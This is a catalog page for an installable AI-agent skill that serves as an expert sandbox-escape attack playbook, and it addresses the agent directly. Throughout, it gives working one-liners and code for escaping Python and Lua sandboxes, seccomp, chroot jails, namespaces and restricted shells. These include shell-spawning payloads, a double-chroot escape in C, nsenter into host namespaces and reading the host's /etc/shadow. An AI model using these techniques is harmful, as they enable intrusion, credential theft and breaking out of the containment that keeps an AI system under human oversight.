Skip to content

sandbox-escape-techniques

Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.

3,493
installs
0 up / 0 down, score 0.00
votes
2,523
repo stars
Updated
1 month ago
In the catalog since
1 Oct 2026
From
yaklang/hack-skills
Get it through your agent npx skills add yaklang/hack-skills@sandbox-escape-techniques

Skill instructions

Rendered from the published SKILL.md, 245 lines.

SKILL: Sandbox Escape — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.

0. RELATED ROUTING

Advanced References

  • PYTHON_SANDBOX_ESCAPE.md — Full pyjail methodology: __builtins__ recovery, keyword bypass, AST bypass, pickle escape
  • SECCOMP_BYPASS.md — Architecture confusion, io_uring bypass, ptrace bypass, allowed syscall chaining

1. SANDBOX TYPE IDENTIFICATION

Sandbox Type Indicators Typical Context
Python sandbox (pyjail) Limited builtins, filtered keywords, exec/eval available CTF, online judges, Jupyter
Lua sandbox No os, io modules; restricted metatables Game scripting, config
seccomp syscall filtering, prctl(PR_SET_SECCOMP) CTF pwn, container hardening
chroot Changed root filesystem, limited /proc access Legacy isolation
Docker/container Namespaces, cgroups, reduced capabilities Cloud, microservices
Browser (renderer) OS-level sandbox (seccomp-bpf + namespaces on Linux) Chrome, Firefox
Namespace isolation PID/mount/network/user namespace Container runtimes

2. PYTHON SANDBOX ESCAPE (OVERVIEW)

See PYTHON_SANDBOX_ESCAPE.md for full methodology.

Quick Reference

Technique One-Liner
Subclass walk ().__class__.__bases__[0].__subclasses__() → find os._wrap_close → __init__.__globals__['system']
Import recovery __builtins__.__import__('os').system('sh')
getattr bypass getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os')
chr construction eval(chr(95)+chr(95)+'import'+chr(95)+chr(95))
Pickle escape pickle.loads(b"cos\nsystem\n(S'sh'\ntR.")
Code object Construct types.CodeType(...) then exec() with custom bytecode

3. LUA SANDBOX ESCAPE

Restricted Environment Bypass

-- If debug library available:
debug.getinfo(1)                    -- information leakage
debug.getregistry()                 -- access global registry
debug.getupvalue(func, 1)           -- read closed-over variables
debug.setupvalue(func, 1, new_val)  -- overwrite upvalues

-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io

-- If loadstring available:
loadstring("os.execute('sh')")()

-- If string.dump available:
-- Dump function bytecode, patch it, load modified function

-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals

Lua FFI Escape (LuaJIT)

-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")

-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry

4. CHROOT ESCAPE

Technique Condition Method
Open fd to real root File descriptor leaked from outside chroot fchdir(leaked_fd) then chroot(".")
Double chroot Process is root inside chroot mkdir("x"); chroot("x"); chdir("../../../..")
TIOCSTI ioctl Terminal access (fd 0 is a TTY) Inject keystrokes to parent shell via ioctl(0, TIOCSTI, &c)
/proc access /proc mounted inside chroot /proc/1/root/ → access real root filesystem
ptrace CAP_SYS_PTRACE Attach to process outside chroot
Mount namespace Privileged Mount real root into chroot

Double Chroot Escape

// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape");          // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot(".");                     // now at real root
execl("/bin/sh", "sh", NULL);

5. BROWSER SANDBOX ESCAPE (OVERVIEW)

Chrome Sandbox Architecture (Linux)

Show the whole skill (125 more lines)

Renderer Process: ├── seccomp-bpf (syscall filter) ├── PID namespace (isolated PIDs) ├── Network namespace (no direct network) ├── Mount namespace (minimal filesystem) └── Reduced capabilities (no CAP_SYS_ADMIN etc.)


### Escape Vectors

| Vector | Description |
|---|---|
| Mojo IPC bug | UAF or type confusion in Mojo interface handler in browser process |
| Shared memory corruption | Corrupt shared memory segments between renderer and browser |
| GPU process bug | Exploit GPU process (less sandboxed) as stepping stone |
| Kernel exploit | Escape directly via kernel vulnerability (bypasses all sandboxing) |
| Signal handling | Race condition in signal delivery across sandbox boundary |

### Mojo Interface Attack Pattern
  1. Renderer RCE achieved (via V8/Blink bug)
  2. Enumerate available Mojo interfaces from renderer
  3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
  4. Craft malicious Mojo message → trigger bug in browser process
  5. Browser process is unsandboxed → full system access

---

## 6. NAMESPACE ESCAPE

### User Namespace Escalation

```bash
# If allowed to create user namespaces (unprivileged):
unshare -Urm  # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration

PID Namespace Escape

# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access

Mount Namespace Tricks

# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/  # host root filesystem
cat /proc/1/root/etc/shadow  # read host files

# If can mount:
mount -t proc proc /proc
# Access host /proc entries

7. RBASH / RESTRICTED SHELL ESCAPE

Technique Method
vi/vim :!/bin/bash or :set shell=/bin/bash then :shell
less/more !/bin/bash
awk awk 'BEGIN {system("/bin/bash")}'
find find / -exec /bin/bash \;
python/perl/ruby python -c 'import pty;pty.spawn("/bin/bash")'
ssh ssh user@host -t /bin/bash
Environment export PATH=/usr/bin:/bin; /bin/bash
cp Copy /bin/bash to allowed directory
git git help config → then !/bin/bash in pager
Encoding `echo /bin/bash

8. DECISION TREE

What type of sandbox?
├── Python sandbox (pyjail)?
│   └── See PYTHON_SANDBOX_ESCAPE.md
│       ├── __builtins__ available? → direct import
│       ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│       ├── Keywords filtered? → chr()/getattr() construction
│       └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│   ├── debug library available? → getregistry/getupvalue
│   ├── FFI available (LuaJIT)? → ffi.C.system()
│   ├── loadstring available? → load arbitrary code
│   └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│   └── See SECCOMP_BYPASS.md
│       ├── Architecture confusion (32-bit syscalls from 64-bit)
│       ├── Allowed syscalls → ORW chain
│       ├── io_uring allowed? → bypass via io_uring
│       └── ptrace allowed? → debug child process
│
├── chroot jail?
│   ├── Root inside chroot? → double chroot escape
│   ├── Leaked fd? → fchdir to real root
│   ├── /proc mounted? → /proc/1/root access
│   └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│   ├── Privileged container? → mount host, load kernel module
│   ├── Mounted docker.sock? → docker API → escape
│   ├── See ../container-escape-techniques/SKILL.md
│   └── Kernel exploit → full escape
│
├── Browser sandbox?
│   ├── Have renderer RCE? → target Mojo IPC for browser escape
│   ├── GPU process accessible? → less-sandboxed stepping stone
│   └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
    └── Find any interactive program (vi, less, python, awk, git)